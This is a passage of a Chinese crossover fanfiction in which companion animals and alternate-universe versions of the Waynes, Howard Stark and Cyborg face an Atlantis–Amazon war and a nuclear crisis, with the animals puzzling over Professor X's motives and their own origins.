既然蝙蝠侠正式决定加入他们，钢骨自然要共享一些情报，惊喜来得太突然，钢骨有些手忙脚乱，好在他们早就有试图邀请蝙蝠侠的计划，各种资料早就准备齐全，现在靠着钢骨亲口补充一些最新情报，倒也能讲得清楚如今的局势。 而褪去小丑妆面的玛莎就坐在旁边，安静旁听，好像她压根不在这里似的。 小动物们则聚在房间的角落。 布莱克用爪子扒拉着墙角的食梦貘，继续刚才的问题。 “你肯定知道为什么。” “什么为什么？”馍馍无辜的看着大猫猫。 “为什么X教授要参与这件事情，他想要达成什么目的？” 馍馍：“……很重要么？” “也许不重要，但我很在意。” “……”大片的沉默后，馍馍告诉它：“我不知道。” 其实年迈的那个X教授之前就亲自回答过布莱克的问题，可当时X教授给出的说法过于奇怪，以至于布莱克并不怎么相信对方。 “不伟大，不重要，不是一定要改变什么”，这是什么意思？如果这么没有必要，那么他为什么还要去做这件事情呢？ “填补遗憾，质疑命运”，又有什么意义？ 布莱克无论如何也想不明白。 它的思维仿佛钻进一个死胡同，脑袋砰砰的往墙上撞，可无论它如何努力，就是没办法撞破这该死的墙。 馍馍无语的看着精神世界里的布莱克在那拿头撞墙，那墙还不是馍馍做的，是布莱克自己研究明白后亲自设立的。 看了一会，馍馍扭头去问看戏中的极乐鸟、小红和大红它们。 “它一直都这样吗？” 三只小动物同时点头。 “叽啾。” “啾~” “汪。” 对。这家伙一直都这样，和它的孵化者一模一样。 只不过布鲁斯·韦恩那家伙比较严肃，不会因为想不通事情就在这里真的给自己设一面墙然后拿头撞墙来发泄不满。 然后，布莱克就被人抱起来。 有人往小动物们这边走过来的时候，大猫猫警觉的让注意力回到现实中，不过很快它就注意到了，过来的人是玛莎。 布莱克对玛莎有些纵容，完全没有警觉。 此时人类的谈话已经结束，托马斯去花园里看看那个叫做卡尔的外星人晒太阳的进度如何，玛莎则将布莱克抱走了。 “哇呜？”我们去哪？ 因为猫科动物骨骼结构的特点，玛莎抱着它的腋下位置时，布莱克的两只前爪会往前伸直，那真的是十分修长的两只大爪子，懒洋洋的交叠着。 比较尴尬的是布莱克的后爪还在地板上。 对于玛莎的抱抱，布莱克还算配合，不情不愿的用后爪着地，跟着往前移动。 玛莎带着微笑，将布莱克抱进一间房间。 布莱克四下嗅了嗅，意识到这应该是玛莎和托马斯的卧室，只不过在玛莎发疯变成小丑之后，托马斯也没有再进过这间屋子，任由时间落下的尘埃将它吞没。 直到昨天这里才被玛莎一时兴起似的收拾出来。 “布鲁西。” 布莱克听到玛莎这么叫自己。 “是你，对不对？” 玛莎凑在大猫猫的耳边，小声说道。 布莱克愣住了。 光线变化让它的眼瞳变得圆润，黑漆漆的瞳孔里映照出玛莎那表情十分不对，仿佛发癫似的脸，看起来，玛莎在笑，只是笑容扭曲，嘴角努力抿着，带着往后的裂口挤压变形，虽然不再流血了，可被订书机钉起来的部分依然会受到拉扯，让那伤口看起来额外惊悚。 她试着对布莱克挤出属于母亲的温和笑容。 可惜这张脸已经…… 无法做到了。 布莱克倒是不会被这个笑容吓到。 只是那个称呼…… 布鲁西。 这是在叫布鲁斯吧。 布莱克有些反应不过来。 现在的情况看起来像是有什么特殊的事情在布莱克完全不知情的时候悄然发生，导致玛莎做出错误的判断，将布莱克视作布鲁斯的…… ……的什么？ 替身？转世？还是认为她的孩子附身在一只大猫猫身上回家来看她？ 而且为什么要回到房间里，悄悄地叫它呢？ 仿佛不想让其他人知道这事情。 这里的“其他人”指的是玛莎和布莱克以外的所有人，理所应当的，也包括玛莎的丈夫，托马斯·韦恩在内。 布莱克瞬间想了很多。 托马斯和玛莎到底是怎么看待它们这些小动物的？ 他们这个宇宙没有“伴生动物”的存在，没有更多的案例和参考对象，在这种情况下蝙蝠侠面对未知的，突然降临的，看起来能力十分难以控制的存在，多半会采取警惕的观察策略，若是对方靠得太近，蝙蝠侠会明确拒绝。 根本原因在于，当对方过于强大且无法理解，科学侧的蝙蝠侠根本没有手段在突发情况下保护自己和身边的人，最安全的措施就是保持距离，这样就算出了情况，也有缓冲时间。 ——这是布莱克认识的蝙蝠侠，是布鲁斯·韦恩。 那么托马斯呢？ 在布莱克的感觉中托马斯和布鲁斯的逻辑其实差不多。 这就让他会留下小动物以及卡尔的行为显得有些奇怪了。 可以说他是想要把危险留在自己身边观察，可他没有反制手段，一旦出现意外，他又能观察什么？ 布莱克与玛莎对视。 是玛莎吧。 这种仿佛豪赌一般的行为。 那么，玛莎又是为了什么呢？ “喵呜。”布莱克轻轻冲玛莎叫唤：我不是布鲁斯哦。 我不是你的孩子。 无奈刚才玛莎抱着布莱克离开的状态像是个委婉的暗示，馍馍认为接下来的事情不方便自己去听，于是暂时将注意力转移开来。 再加上布莱克也以为玛莎那么努力的抱走自己是要说什么秘密信息。 它本能的就把馍馍的连接屏蔽出去，相当于给自己和玛莎建造一个单独的隔离区，馍馍的连接无法进入这个隔离区，翻译系统自然也就随之下线。 现在的玛莎根本听不懂布莱克在说什么。 “你承认了？” 玛莎大胆的捏着大猫猫的脸颊，揉啊揉啊的，真把这只黑色美洲豹当成了自己的孩子。 它那么大一只，随便一爪子下去就能给玛莎的脸挠烂，也能给她的天灵盖开个洞，如果不是布鲁斯，它为什么要纵容她如此胡闹，在它身上随便揉捏呢？ “喵呜……”布莱克无奈的叫着：小时候的布鲁斯又乖又可爱，听话懂事，而我，就算是像布鲁斯，也是成年后人嫌狗厌的那个吧。 为什么会认为我是小布鲁西呢？ 想不通的布莱克趴在玛莎怀里任由她给自己顺毛。 大概是撸舒服了，布莱克开始发出猫似的咕噜噜声，一直响，一直响。 第74章 布莱克终于确定玛莎为何会接受小动物了。 和它猜测的一样,出于某种未知原因，玛莎认为布莱克就是小布鲁西，不管是转世还是别的什么,总之,她认为小布鲁西是以布莱克的形态回到了自己身边。 也是因此她暂时放下仇恨, 放下小丑的模样, 回到韦恩庄园, 努力压制疯狂的性格, 变回当初那个母亲, 重新做回韦恩庄园的女主人。 算了…… 先这样吧，之后找机会跟她说清楚。 布莱克无奈的趴着。 …… 隔天。 托马斯带回一些消息,首先是亚特兰蒂斯和亚马逊的矛盾无法调和,战争必然发生,人类作为被夹在中间的那团馅料，恐怕是难逃一劫。 唯一的办法就是取得足够的力量，最好强悍到能同时战胜亚马逊和亚特兰蒂斯人。 然而现在最大的威胁反而不是亚马逊人和亚特兰蒂斯人。 而是人类内部。 是他们可爱的的政府人员。 按照现在的情况,若是亚特兰蒂斯打赢了，大陆便会沉没，人类绝无生路，若是亚马逊打赢了，大陆也将承受极大的冲击，依然有很大可能会沉没，就算好运没有完全沉没,剩余的面积和残余人类数量也必然非常的少，最终无法避免沦为亚特兰蒂斯的附属苟延残喘。 在这样的情况下, 那些政客做了个想要全世界命的决定。 他们难得有“骨气”了一把。 想着反正都要死，人类绝不会躺在那等死,这些人决定将所有核弹库存全部清空——反正以后也用不上了。 托马斯对此十分无语。 钢骨正在做骇侵，试图拿到核弹的控制权，但那显然没那么容易。 玛莎听到这些话后痴痴的笑着，仿佛这是什么天大的笑话，托马斯就看着她在那笑，先是小声的抽抽，最后变成狂笑。 “需要帮忙吗？”布莱克走过来，问他们。 “你还会骇侵么？” 托马斯随口反问，然后就看到大猫猫表情认真的看着他，似乎还有点儿笑意，托马斯这才收敛了轻视，看着大猫问：“你还真会？” 布莱克摇头。 它不会，但锈斑猫身上可是有斯塔克的纳米机器人。 “找纽约的斯塔克吧。”布莱克提议。 “斯塔克主要是做军火的，副职生物研究，在程序这一块好像没有太多的涉及？” 托马斯回忆着自己知道的资料。 人的精力注定是有限度的，普通人受限于能力不足，天才受限于人生过短，时间有限，这说起来也是一种遗憾。 霍华德能做的事情很多很多，但实际能去做的事情只有几样。 根据托马斯的了解，霍华德并没有余力去研究程序、骇侵这一块，而钢骨才是他们能找到的最擅长这方面的人。 布莱克扭头看向星期五，问：“奇迹是不是去那边了？” 星期五哪里知道，无辜的摇头。 布莱克似乎也没指望它知道，自顾自的继续往下说：“我们的任务就是说服这边的人类松口，对吧？” 星期五反问：“……都知道了还问什么？” 对于布莱克能猜到奇迹也参与其中这点，星期五毫不意外，从头到尾它和奇迹直接参与干扰了太多次，本来不该参与交汇的星期五也是奇迹亲自偷渡过来的，为的是捞冰冻的美国队长，再去救出被关起来的卡尔。 现在星期五的目的已经全部达成，奇迹却还没有下一步行动。 唯一的可能性就是奇迹的目标还没达成，而且能达成它目的的那个契机也尚未出现。 奇迹想要拯救这个平行宇宙。 虽然布莱克不明白奇迹为何对这个平行宇宙抱有这么大的善意，但奇迹想要做的事情是如此直白，布莱克能轻易猜到，只是有些疑惑，因为奇迹的行为并不符合X教授的描述。 这意味着奇迹和X教授并非同谋？ 还是说，它们最终的目的相当，只是选择了不同的道路，又或者它们其实在共同努力，只是各自负责的范围不同？ 侦探猫猫的大脑飞速运转，线索不足的情况下，布莱克有种自己的脑浆即将烧干的错觉，还隐约闻到了蛋白质糊掉的香味。 嗯？ 自己的脑子着火了？ 布莱克还在发楞，边上的托马斯却突然反应过来夺门而出，看着托马斯冲去厨房的身影，以及走道里比屋中更浓郁的焦糊味道，小动物们恍然大悟。 “……一个单身男人怎么可能不会做饭？” 大红不懂。 就算是杰森那样看起来日子过的非常随便的单身男性，其实也是会做饭的，而且技术还不算差，毕竟他们都有秘密身份，忙起来想点外卖也不方便，吃速食食品更不是长久之计，而且维持肌肉量也需要很好的营养配比。 这么久而久之下来，多少都会自己开火做点东西。 “他只是太忙才会忘了厨房还开着火。”极乐鸟为老太爷挽尊，“最近发生的事情实在是太多太多，他有些心不在焉也是正常的。” 大红听了只是哼笑两声。 等托马斯抢救完厨房回来，路上就联系了斯塔克那边。 霍华德得知对方来电的用意，也是十分不解。 他能在军事上尽力提供一切帮助，可核弹密码之类的就不是他的负责范围了吧？ 电话那头，锈斑猫支愣着耳朵在听。 “喵。”我可以哦。 猫猫昂着头喵呜叫着，同时在自己内心将这话翻译给霍华德听。 “嗯？” 霍华德正坐在靠背椅中，而锈斑猫就踩在椅背顶部，软乎乎的身体蹭过他的后脑，小肉垫交替踩上他的肩膀，在他耳边一边咕噜噜一边喵喵。 “我来吧~” “我可以搞定这个的。” “说起来，之前电梯出了点小情况，是不是也是你做的？” 霍华德突然提起另一件事情，同时伸手去挠锈斑猫的下巴，以免这小家伙发现自己要算账，转头就跑。 锈斑猫确实想跑，可霍华德手指蹭的好舒服，猫猫一时之间没舍得离开，而是昂着脖子继续咕噜噜的一直响，并发出没有具体含义的，仅仅代表着非常舒服的叫唤。 “喵呜~” 霍华德也没打算真的跟锈斑猫计较，并答应了锈斑猫的提议。 “好吧，让我看看你能做些什么。” 让只小猫去对付核弹这显然是不科学的。 而锈斑猫的意思是，它需要接触到那个东西。 “我分不清带一只猫去摸核弹控制台，和努力骇侵那东西，到底哪个更困难。而且这可不是一个国家的事情，难道要每个都摸一遍吗？” 这事情怎么想都不现实。 “或者，我们可以换个思路。”通讯器里面，托马斯提供了另一种方案，“让他们现在这样很不安全，肯定会有一些国家悄悄留下部分原子弹，趁着其他国家清空弹药后成为唯一控核的国家，借此成为最强的那个。” 霍华德顺着托马斯的话往下接，“然后说服他们建立一个统一控制器？” 这样的话，他们的目标只有一个，或者更好的情况，他们能负责这个统一控制器。 “这种时候我们需要奇迹么？”极乐鸟问。 星期五则已经去狗窝里趴着睡觉了，显然不想参与这场谈话。 看来是用不到奇迹出场的。 托马斯和霍华德都有把握说服一部分人，另一些则交给钢骨那些“超级英雄”来处理，还有极少一部分需要特殊对待的，玛莎拿起了她的小丑牌。 “你们怎么称呼的？”玛莎揉着布莱克的脑袋问，“反英雄？” 说着，她咯咯笑出声，显然很喜欢对自己的新定位。 很有意思，不合法，但会有正向的支持者，某种意义上还能带坏青少年，多好呀，很有趣的角色，不是吗？ 玛莎笑着询问布莱克。 布莱克对她喵呜：“玩的时候记得注意安全。” 这种话换成是布鲁斯在这里，是绝对不可能说出口的，让反英雄或者反派出去拆东西这种事情，哪怕事出有因，哪怕对方是自己的母亲，布鲁斯最多只是适当的沉默，绝对不可能持纵容或者鼓励的态度。 但布莱克不一样，它没那么在意人类的法律和道德，差不多就可以了。 “那你为什么不陪我一段呢？” 玛莎因为布莱克的叮嘱笑出声音，并向大猫猫发出邀请。 在他们出门前，布莱克扭头看向托马斯，却只得到了托马斯的一次点头。 这是允许的意思。 玛莎需要的不是托马斯。 她要的是当初那个死在犯罪巷的孩子。 他们都知道那个孩子已经回不来了，可也许布莱克的存在能给玛莎一些幻想，让那颗疯掉的，癫狂的脑袋得到些许平静和安慰。 那就足够了。 而在玛莎得到安宁之后，托马斯也能获得一丝安慰。 这似乎是布莱克唯一能为他们做的。 于是布莱克跟着玛莎的步伐，它陪玛莎步行离开韦恩庄园。 玛莎则拍了拍蝙蝠车的副驾驶，咯咯抽风似的笑着，向布莱克发出邀请。 “一起兜风吧。” “我的黑暗骑士。” 王留在了城堡，王后执起利剑，而他们的骑士猫想了想，决定跟着王后一起征战沙场。 第75章 布莱克跟着玛莎离开后彻底没了消息,它居然连馍馍一起屏蔽了。 馍馍无语，馍馍青筋，馍馍对此毫无办法。 在和薇薇碰头后两只奇怪生物就经常互相看着彼此。 也不知为什么,它们就这么互相看着。 精神世界是静默的, 现实中也没有发出任何动静。 当它们两各自占据地毯的一端,就这么对视的时候,总有种莫名的压力在往周围散发,那不是真实的压力,而是一种奇怪的氛围,好像任何开口打扰它们的人或者动物都很不懂事似的，弄得大家都对它们避而远之。 这样的情况大概持续了大半天的时间。 打断它们的是玛利亚送来的晚餐。 鸭嘴兽的食物和食梦貘的食物放在它们各自面前。 饿了的小家伙也顾不上假扮雕塑的游戏了, 低头大快朵颐, 迅速把自己的肚皮吃成圆润的球体。 而人类正在忙碌中。 霍华德、托马斯和钢骨三方势力带领各自的人分头行动, 小动物则在第二天全部汇合在了一起——奇迹除外。 小动物们聚集在斯塔克的庄园内，和几个同样留守的人类凑在一起。 他们百无聊赖，各自找事情打发时间。 这个宇宙年轻版的托尼横躺在长沙发上,头枕在扶手处，锈斑猫就窝在他的脸侧舔毛，偶尔顺嘴帮他舔两口，塔塔趴在他的肚子上，抱着个贝壳玩具啪啪啪的拍打，沙发靠背上落着鸟，叽叽喳喳的,极乐鸟偶尔会飞下去，落在大红身上来回蹦跶着唱歌,大红正在沙发背后睡觉呢，也懒得睁开眼睛,就动动耳朵让极乐鸟起开。 托尼打了个哈欠，伸直一条腿搭在另一处扶手上，鸭嘴兽悄悄爬上来，在上面玩高难度攀岩，大宽尾巴一晃一晃，薮猫坐在地上昂头看着，像是在看逗猫棒，馍馍是爬不上去一点的，就在下面和薮猫一起昂头围观。 多纳滋顶着帕夫趴在不远处，陪着在用平板看东西的史蒂夫和巴恩斯。 卡尔在房间的另一侧，就在窗户前，昂头看着太阳。 星期五躺在他附近的阴影里小憩。 它们无事可做，只是在这里休息玩闹而已。 不过既然人类都去忙碌了，小动物们也该趁机解决一下小动物们的问题。 “汪。”大红叫了一声：你们看出个结果了吗？ 它是直接叫唤的，没有在精神世界里重复自己的话，玛利亚又不在屋子里，现场没有一个人能听得懂它的话。 只有小动物们窸窸窣窣的活动起来，一个个都看向鸭嘴兽和食梦貘。 馍馍趴下去，从沙发底下看向趴在沙发后头的大红，并发出小鸟鸣叫似的动静：我觉得，我认识它。 馍馍口中的“它”指的是薇薇。 鸭嘴兽爬上沙发靠背，探着张鸭嘴试图去看大红，但无奈它的脸部结构不允许它这么做，在差点把自己弄翻后鸭嘴兽向后昂过去，翻滚落回沙发内部，无奈的叫唤：我也觉得，我好像认识它。 鸭嘴兽口中的“它”指的则是馍馍。 它们互相存有熟悉的感觉，却又很确定彼此之间从未见过。 薇薇好说，失忆了嘛。 可馍馍的记忆却是完整的，而且从出生就跟旺达去抢一个幻视，然后就一直在林间小屋里面生活，理论上是完全没有机会接触薇薇的。 “汪。”阴影里的星期五突然叫出声：也许，彼此熟悉的是你们的孵化者呢？ 这会有影响吗？ 小动物们互相看看，从彼此的眼中看到的都是迷茫和不解。 多纳滋倒是立刻明白了什么，还点了两下头。 星期五继续说道：极乐鸟和大红关系明显更好一些，锈斑猫喜欢照顾塔塔，多纳滋和帕夫几乎是一整天从早到晚都形影不离，你们自己想一想，这些行为和亲近本能，是否和你们孵化者之间的关系刚好对上了呢？ 而星期五自己也有吸卡皮巴拉的毛病。 结合一下夏洛克和华生这两个人类之间紧密的关系，星期五很有道理怀疑这是夏洛克带给自己的影响。 当然，卡皮巴拉也不是无辜的，它那么好吸。 星期五认为自己之所以会沉迷吸豚不可自拔，这完全是卡皮巴拉的锅，那么好吸的卡皮巴拉就在手边，还随便扒拉…… 面对这么强大的诱惑，任谁都会忍不住。 总之，肯定不是因为它像夏洛克·福尔摩斯，而夏洛克就拿华生当精神稳定器的原因。 再看馍馍和薇薇这两只的情况，其中馍馍的孵化者是已知的，就是绯红女巫旺达，而看它们两个还算十分合得来的模样，那么薇薇的孵化者很可能是旺达的朋友，也可能是其他关系非同寻常的人。 根据薇薇自己说的，来自X教授的描述，薇薇应当是由亡者的思念孵化出来的，可以被称作为“遗物”的存在。 先不说小动物能否从不是被窝的地方孵化出来。 单就这个“遗物”的描述就很不对劲。 按这个说法，薇薇的孵化者应该是死了的。 “汪？”旺达有什么好朋友死了吗？ 馍馍摇头。 虽然没有阅读过旺达的过往记忆，可它已经吃了那么多那么多的负面情绪，也算是对旺达的不幸了如指掌。 而旺达一直都是那种情绪敏感、感情丰富、容易受伤的性格，如果她曾经有过感情非常好的朋友或者亲人，却死去了，就算因为时间问题或者别的原因，旺达最终走出来，也不可能在负面情绪爆发的时候从不回忆那些事情，一旦她回忆，吃掉负面情绪的馍馍多少都会知道一些。 所以，馍馍几乎可以肯定，绝对没有那种人存在。 那薇薇的孵化者到底是谁呢？ 星期五暂时也没了想法。 馍馍大概是觉得叫唤太累，就在精神世界里嘀嘀咕咕的说：“目前为止能让旺达走不出来的，只有那家伙一个而已，可那家伙没有死掉，不能说是亡者吧？” 星期五也认为一直汪汪叫不太好。 住在221B的时候，因为结构问题，星期五养成了不爱叫的习惯，现在也是能不出声就不出声，于是在换到精神世界里，在属于小动物们、不带人类的群里提问：“你说的是谁？” 馍馍：“幻视啊。”还能是谁。 在馍馍的认知中，旺达身上大部分的困境都是源自于对幻视的感情，而馍馍所受的磨难则几乎全部来自旺达深陷的困境。 也是因此馍馍一直不怎么喜欢幻视。 对于馍馍来说，情感是世界上最可怕的东西。 所以它更喜欢理智的布莱克、星期五，或者看起来非常冷静甚至有些冷漠，对这边的事情毫不关心的大红。 而热情的极乐鸟、善良的塔塔则让馍馍敬而远之。 情感充沛的生命容易被感情伤害，进而伤害到身边其他同伴。 食梦貘想着，缩了缩脖子。 幻视。 星期五把玩着这个名字。 “你能确定他没死吗？” “没死。”馍馍非常肯定，还反问星期五，“一直在我面前活着的人怎么会是已经死了的？” 要馍馍来说，若是幻视死了，说不定就没那么多事情了，就是因为并未死亡，也没办法恢复，旺达才一直把自己困在林间小屋里。 “不是的。”鸭嘴兽歪头看向馍馍。 它们两的精神链接互相独立，现在远远地缠绕在一起，显得亲昵又疏离。 鸭嘴兽对馍馍说：“正是因为幻视还有一点康复的机会，旺达才能坚持到现在，没有崩溃，也没有发疯伤害他人，维持着自己的本心，躲在林间小屋里修养，等待雨过天晴的那一刻到来。” “说得好像你知道什么似的？”馍馍哼了一声，“我们又不认识你。” 鸭嘴兽薇薇因此而沉默。 它其实什么都不知道，但……就是有种模糊的感觉。 这种感觉瞬闪即逝，薇薇也没有去追逐的意思，但星期五却不依不饶，巨型贵宾犬站起来，走到鸭嘴兽面前，显得汪汪好大一只，鸭嘴兽像是它今天的加餐。 鸭嘴兽趴伏着，抬眼看着大狗狗。 “干嘛。”薇薇有些耸的问。 星期五先同它确认：“对着馍馍的时候，也会有那种模糊的感觉吗？” 薇薇摇头。 “只是有点熟悉而已，但是没有那种隐约有点什么的感觉。” 星期五又问：“你确定自己从没有见过旺达和幻视这两个人类，对吧？” 薇薇点了点头。 “可你非常了解他们。” 薇薇摇头。 它不了解他们，它只是有种感觉而已。 “无论是模糊的感觉，还是具体的、一闪而过的灵感，都是你的潜意识在思考，它比你更加聪明，在大脑庞大记忆库的支撑下，潜意识会表现得额外灵活，能想到的事情更多，只不过我们很难抓住那种快速的，不断反复运转的思维。而偶尔抓住的时候，就会体现为突然出现的灵感。” 星期五低头看着鸭嘴兽。 “你肯定知道什么，只是没想起来，你的潜意识未曾忘记，所以直接给出了答案。” 薇薇脸平平的。 它扭头向其他小动物求救：救命……它在说什么……？孩子听不懂！ 布莱克不在，小红就飞出来帮忙翻译。 “薇薇不是失忆了么？也就是说，薇薇很可能见过旺达，也见过幻视，有可能还是在馍馍诞生之前。这就能解释为什么薇薇对旺达和幻视有认知，却对馍馍只是感到熟悉，而没有任何实际的印象。” “当然，也有可能是那时候馍馍已经诞生了，但是薇薇和馍馍没有直接接触过，而是从其他人口中听到过馍馍，所以会觉得熟悉，却又不太了解。” 第76章 旺达和幻视在林间小屋里的生活馍馍全都知道,而且记忆没有缺失。 馍馍可以百分百确定那段时间里绝对不可能有薇薇的存在，而根据薇薇自己的说法，那时候它应该是在X学院住着,当然也有可能根本没有被交汇送回他们的宇宙…… “嗯？”小红突然反应过来, “薇薇之前, 是在这个宇宙生活的？” 薇薇点了点头。 “在哪？”小红又问。 这个问题让薇薇感到疑惑,什么,在哪？ 面对薇薇迷茫的小眼睛,小红想了想,让自己的问题更加具体：“你是在哪里生活的？自由自在的以动物的模样在野外生活？还是拟人成人类，在人类的世界生活？又或者是其他什么情况？” 伴生动物也要生活的,薇薇在这边的宇宙不知道生存了多久,不可能什么痕迹都没有吧？ “我忘记了。”薇薇说道。 “你是忘记了,但你存在过的痕迹不会消失。”星期五顺着当初布莱克提供的思路思考，将焦点聚集到两名X教授身上，“也许那两人知道什么。” “他们俩都知道些什么,连你也弄不清楚吗？”小红好奇的看着星期五。 星期五是特别的，和它们不一样。 它是被奇迹召唤过来，带着目的而来，如今任务结束，才会和它们一起聚集在这里打发时间。 而且星期五是接触过X教授的。 综上所述，小红认为星期五所知道的事情，应该比它表现出来的更多。 “对哦, ”塔塔也探出脑袋，“你们之前交流过, X教授还教你如何进入人类的心灵，他没跟你说过他们在做的事情么？” “说过一些。” 这样说着,星期五原地坐下，维持着端坐的姿势看着小红，还舔了两下嘴，像是饿了，但其实那只是星期五思考时会做的一个惯性动作而已。 它在斟酌自己该说些什么，又隐瞒什么。 只是大家的心灵正互相连着呢，星期五又没有天然的屏蔽能力，它的心思变化根本瞒不过其他小动物，很快星期五也意识到这点，于是不再思考这些。 “在我被奇迹召唤过来的时候， X教授主动联系了我。”星期五将自己的经历做了个简单的交代，“因为要做的那些事情比较复杂，有些已经超过当时我持有的能力，所以他引我进入思维深处的世界，在那里演练自己的能力。” 思维的速度很快，现实中才过了半天而已，星期五就已经掌握潜入他人精神世界的方式，那本就是属于它的能力，就算没有X教授出面干涉，过一段时间它也能自然而然地学会如何去做。 现在，只不过是将那个时间点稍微提前一些而已。 “学习的间隙，我们也聊过他为什么参与交汇，以及其他事情，我相信他是非常主动地在做一些事情，而不是被牵扯到一次自然现象中那么简单。” X教授告诉星期五的答案，和布莱克得到的信息并没有区别。 只是一件不重要的事情罢了。 “不重要，那么为什么要去做呢？”塔塔歪头。 “也许是指，对他来说不重要，但对其他人很重要。”一直安静趴着小憩的大红张开一只眼睛，从沙发下的缝隙看过来，“或者对世界来说不重要，但对某些人来说很重要。” X教授说话的时候又没有加主语。 所谓的“不重要”，很可能是普遍现象，因为对大部分人来说这件事情不重要，它可有可无，所以去做它可能是没有意义的。 而X教授决定要做这件事情，则是为了个别的人。 大红的话让其他小动物隐约意识到了什么，但一时之间又有些想不清楚。 多纳滋则看向巴基和史蒂夫那边，若有所思。 他们就算没有重逢，对世界的进度也不会产生改变，而现在虽然成功相遇，以他们现在的能力，似乎也无法改变什么。 可这次提前了的重逢，对巴基和史蒂夫来说，真的很重要。 更何况如果没有它们的干涉，这个平行宇宙里的这两人大概是没机会重逢了。 极乐鸟则想到了韦恩夫妇。 如果没有它们横插一脚进来，也不知道他们两人是否能再次回到韦恩庄园，心平气和的生活在一起。 估计是不行的吧。 只是…… 它们好像也没做什么？ 玛莎为何突然好转，回心转意似的暂时放下小丑的身份？ 极乐鸟是完全想不明白其中的原因，它和小红、大红也曾凑在一起讨论过玛莎的情况，是没来由的突然抽风？还是托马斯真的说服玛莎放下过去？又或者玛莎在玩弄托马斯，想看蝙蝠侠和自己一样崩溃发疯？ 聊到最后也没有得到一个结果。 它们想拉着布莱克一起讨论，就发现布莱克居然跟玛莎一起离开了。 那家伙肯定知道什么。 三只动物不约而同的想。 不过话又说回来，玛莎和托马斯的重聚，也是对他们来说很有意义，至少对托马斯来说很有意义，而对于这个世界来说可有可无的事情。 也许这些就是X教授要做的事情？ 他遇到了经历过两次交汇，往来两个平行宇宙的薇薇，在帮助薇薇寻找记忆的过程中得知了这个平行宇宙的困境，于是决定出手帮忙…… 这样的可能性也不是完全没有。 以X教授的性格，若是能确定这事情不会波及自己的宇宙安全，又能帮助平行宇宙的人获得一份安宁，举手之劳而已，他会愿意提供帮助的。 “但这不安全。”大红提醒他们。 世界末日的危机还没有结束，虽然不是真正意义上的那种世界末日，就算他们无法阻止，地球也不会因此毁灭，可陆地生物多半是会在这场灾难中灭绝干净的。 它们这些小动物以及X教授本身都难以幸免。 这足够危险了。 而且不仅是X教授自己将面对死亡的风险，小动物们的生命也没有保障， X教授不是那种疯癫的家伙，会为了满足自己的那点儿救世情节，就会把无辜的人和小动物一起牵扯进危险事件中。 要不然有什么更深的原因，让X教授不得不这么做。 要不然就是这件事情其实没那么危险。 “你们觉得……”塔塔托着自己的下巴，用可以说是天真浪漫的表情，哼哼唧唧的问，“ X教授已经脑控了那些要打架的坏人的可能性有多少呢？” 塔塔只是好奇的八卦这事情，并没有考虑过它是否是真的。 这就像是猜测游戏的结局那样，非常有趣。 可其他小动物却不约而同的一愣。 ——薮猫除外。 “有可能。”大红嘀咕。 小红强调：“很有可能。” 锈斑猫不太确定：“X教授不会无缘无故脑全世界吧？” “不是无缘无故，也不是脑全世界，”帕夫站在多纳滋的脑袋顶上，加入谈话，“只要脑控亚特兰蒂斯和亚马逊的几个决策者就可以解决这次危机。” 这个宇宙的查尔斯还年轻，估计能力还不够。 他们宇宙的X教授就不一样了，有增幅器的话，脑全球都不是问题。 塔塔的猜测很有可能就是真相哎！ 小动物们一个个都立了起来。 X教授很可能握着这最后的一手防御措施，但干涉其他平行是非常不好的行为，所以X教授在等这个宇宙的人自行处理，实在不行了才会出手阻止悲剧的发生。 意识到这点后小动物们快乐了很多。 “嗯？”托尼莫名其妙，看着塔塔在自己小腹上快乐的打滚，“亲爱的，虽然我有腹肌，但也不是搓衣板……” 不知塔塔这是突然发什么疯，托尼试图阻止，又因为塔塔可可爱爱的模样和水汪汪的大眼睛而迅速败下阵来，无奈的笑着摇头。 “好吧好吧，你滚你的。”再趁机揉一把水獭脑袋。 史蒂夫和巴恩斯则接到通讯，立刻开始收拾东西要离开。 “汪？”多纳滋叫了一声，跟上他们。 史蒂夫抬手按住金毛的脑袋，温和又不容反对的拒绝了金毛试图跟随的举动，因为动作突然，多纳滋被按得来了个原地急刹车，帕夫直接从多纳滋的脑袋顶上滚下来，落在金毛的背上直抖脑袋，大概是滚得头晕，直接扭头躲进多纳滋长而厚实的背毛里。 “在这里呆着，帮我们照顾托尼和卡尔，好吗？” 史蒂夫对多纳滋说。 看着和自己孵化者一模一样的眼睛，多纳滋沉默片刻，也只能点了头。 等他们离开后，门关上了，躺在沙发里懒得起来的托尼这才探出脑袋来，上下打量多纳滋，多纳滋也不避着，就这么站在原地也给他看。 最后一人一狗互相对视。 托尼露出白牙笑开，直接问：“那只跟你形影不离的仓鼠呢？” “汪。”多纳滋也没在精神链接中回复托尼，而是直接对他叫了一声：帕夫是金丝熊，不是长不大的小仓鼠。 金毛的模样十分老实，具有极高的欺骗性。 托尼看着就乐。 刚才多纳滋看似犹豫的那片刻，根本就是在给那只小老鼠争取时间。 好家伙，没想到这汪看起来浓眉大眼的，心里鬼的很。 第77章 布莱克跟玛莎走了。 帕夫偷偷跟上史蒂夫和巴恩斯。 其他小动物们都找了个地方趴着打哈欠。 好无聊…… 犬科对此适应良好, 蹲守嘛，大家都会的基础技能，鸟类也还好, 各自找了个顺眼的高处, 先是唧唧啾啾的唱了会歌, 然后挨个把脑袋往翅膀里面一扎, 开始睡觉, 其中极乐鸟更是直接睡在了卡尔的肩膀上。 猫科也有些犯困。 但是无聊。 无聊的猫科容易叛逆期,困但是睡不着。 锈斑猫开始翻滚,扒拉薮猫一晃一晃的尾巴，薮猫则高频颤动着尾巴尖,这举动立刻牢牢抓住锈斑猫的眼睛。 “喵呜——” 锈斑猫扑了出去。 扑出去的同时蹬在托尼的肚子上。 托尼顿时张大了眼睛…… “Fuck……”托尼哼出有点痛苦的动静, “还好你是一只小猫……” 塔塔被惊醒, 从托尼的上腹往前爬动，一直爬到胸口才停下，继续团起来睡觉, 这对托尼来说无疑是雪上加霜。 塔塔、塔塔可不是一只标准体重的水獭。 它超重的！ 直接压的托尼呼吸困难，胸口的起伏都变得微弱起来。 卡尔走过来，一手捞住胸口，另一手托住屁股，跟抱一只小猫似的，轻轻松松就把水獭逮了起来。 “最近太阳晒的不错啊。”托尼要死不活的哼哼。 卡尔的身体看起来已经健康多了，虽然只是晒了几天的太阳, 好好吃了几天的饭，他就像是终于获得阳光和雨露的野草一样, 疯长起来。 今天再看卡尔已经是个体型标准的年轻人，似乎比托尼还小一些。 这也是其他人让卡尔和托尼一起留在这里的原因。 